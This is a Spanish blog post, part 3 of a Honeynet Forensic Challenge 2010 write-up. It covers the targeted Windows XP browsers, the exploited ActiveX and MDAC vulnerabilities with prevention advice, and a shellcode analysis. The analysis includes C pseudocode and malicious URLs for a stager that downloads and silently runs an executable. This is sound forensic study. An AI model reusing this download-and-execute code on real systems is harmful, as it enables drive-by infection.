Forensic Challenge 2010 – Segundo desafío forense (3 de 3)
8. ¿Qué sistema operativo fue el objetivo del ataque? ¿Qué software? ¿Y qué vulnerabilidades? ¿Podrían haber sido prevenidos los ataques?
Para ver qué sistemas operativos fueron objetivo del ataque, utilizamos la herramienta p0f:

Captura 8
Como podemos ver, los sistemas operativos atacados son Windows XP. En cuanto a los navegadores, observamos que el más atacado es Internet Explorer 6 (por ejemplo la 338), aunque también existen ejemplos de Firefox (versión 3.5.3 en la trama 25):

Captura 9
Para completar este apartado, hemos de haber obtenido todas las funciones utilizadas en los ataques (lo que nos pedía el apartado anterior). Voy a enumerarlas aquí:
- function mdac()
- function aolwinamp()
- function directshow()
- function snapshot()
- function com()
- function spreadsheet()
Buscando en Internet, encontramos las siguientes vulnerabilidades:
- mdac: MS06-14 Microsoft Data Access Components (MDAC) Function Could Allow Code Execution
http://www.mcafee.com/threat-intelligence/vulnerability/default.aspx?crid=23004
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0003

Captura 10
- aolwinamp: WinAmpActiveX.ConvertFile
http://www.fortiguard.com/encyclopedia/vulnerability/aol.iwinampactivex.class.convertfile.method.access.html
http://osvdb.org/54706
- Directshow: 'msvidctl.dll' - MS09-032 - MS09-037
http://www.cvedetails.com/cve/CVE-2008-0015/
- Snapshot: MSOfficeSnapshotViewer - MS08-041
http://www.microsoft.com/technet/security/bulletin/ms08-041.mspx
- Com: 'msdds.dll' COM Object - MS05-052
http://www.microsoft.com/technet/security/bulletin/ms05-052.mspx
http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0079.html
- Spreadsheet: OWC10.Spreadsheet - MS09-43
http://www.microsoft.com/technet/security/bulletin/ms09-043.mspx
http://www.youtube.com/watch?v=IzE4IBBAH44
Una vez vistas las vulnerabilidades, vamos a ver cómo podemos prevenirlas. Evidentemente, la mejor forma de protegernos contra las vulnerabilidades es tener nuestro software (sistema operativo y aplicaciones) actualizado. Además, como medidas complementarias podemos utilizar navegadores inmunes a los ataques ActiveX (como por ejemplo Firefox) y/o utilizar herramientas de protección como las suministradas por Microsoft (http://support.microsoft.com/kb/240797).
9. ¿Qué acciones realiza el shellcode? Lístalos (con el MD5 de los binarios). ¿Cuál es la diferencia entre ellos?
Todos los shellcode se basan en uno genérico que descarga un ejecutable desde un servidor web a un fichero temporal y lo ejecuta. La diferencia radica en la URL embebida en el código:
|
Exploit |
URL |
MD5 checksum |
|
I |
http://sploitme.com.cn/fg/load.php?e=3 |
41D013AE668CEEE5EE4402BCEA7933CE |
|
II |
http://sploitme.com.cn/fg/load.php?e=4 |
1DACF1FBF175FE5361B8601E40DEB7F0 |
|
III |
http://sploitme.com.cn/fg/load.php?e=7 |
22BED6879E586F9858DEB74F61B54DE4 |
|
IV |
http://sploitme.com.cn/fg/load.php?e=8 |
9167201943CC4524D5FC59D57AF6BCA6 |
Para facilitar su compresión podemos expresar en pseudocódigo C lo que hace el código:
const char url[] = "http://sploitme.com.cn/fg/load.php?e=7";
char tmpfile[];
kernel32.GetTempPathA(tmpfile, 136);
strcat(tmpfile, "e.exe");
kernel32.LoadLibraryA("urlmon.dll");
urlmon.DownloadURLToFileA(NULL, url, tmpfile, 0, NULL);
kernel32.WinExec(tmpfile, SW_HIDE);
kernel32.ExitThread(0);
Las llamadas al sistema se resuelven a través de un procedimiento que exporta el nombre de la tabla de una DLL dada (por ejemplo kernel32.dll o urlmon.dll) y busca las coincidencias. En lugar de una comparación de strings, busca una coincidencia entre el hash CRC del nombre de la función y una constante de 32-bits.
10. ¿Había malware implicado? ¿Cuál era su propósito?
En las tramas 189, 513, 528 y 635 encontramos rastros de las descargas, siendo todas ellas ejecutables de Windows idénticos, lo que podemos comprobar por sus 'huellas' MD5 (52312bb96ce72f230f0350e78873f79) o SHA1 (1f613d5260621e4d6737557c68fdc6d322595ef0). Echando un vistazo al código de alguno de estos ejecutables, encontramos lo siguiente:
• "C:\Program Files\Internet Explorer\iexplore.exe" "%s"
• Starting IE
• urlRetriever|http://www.honeynet.org
El código anterior nos permite deducir fácilmente la intención del malware...
Hasta aquí el segundo desafío forense. ¡Espero que os haya gustado!



Comentarios (0)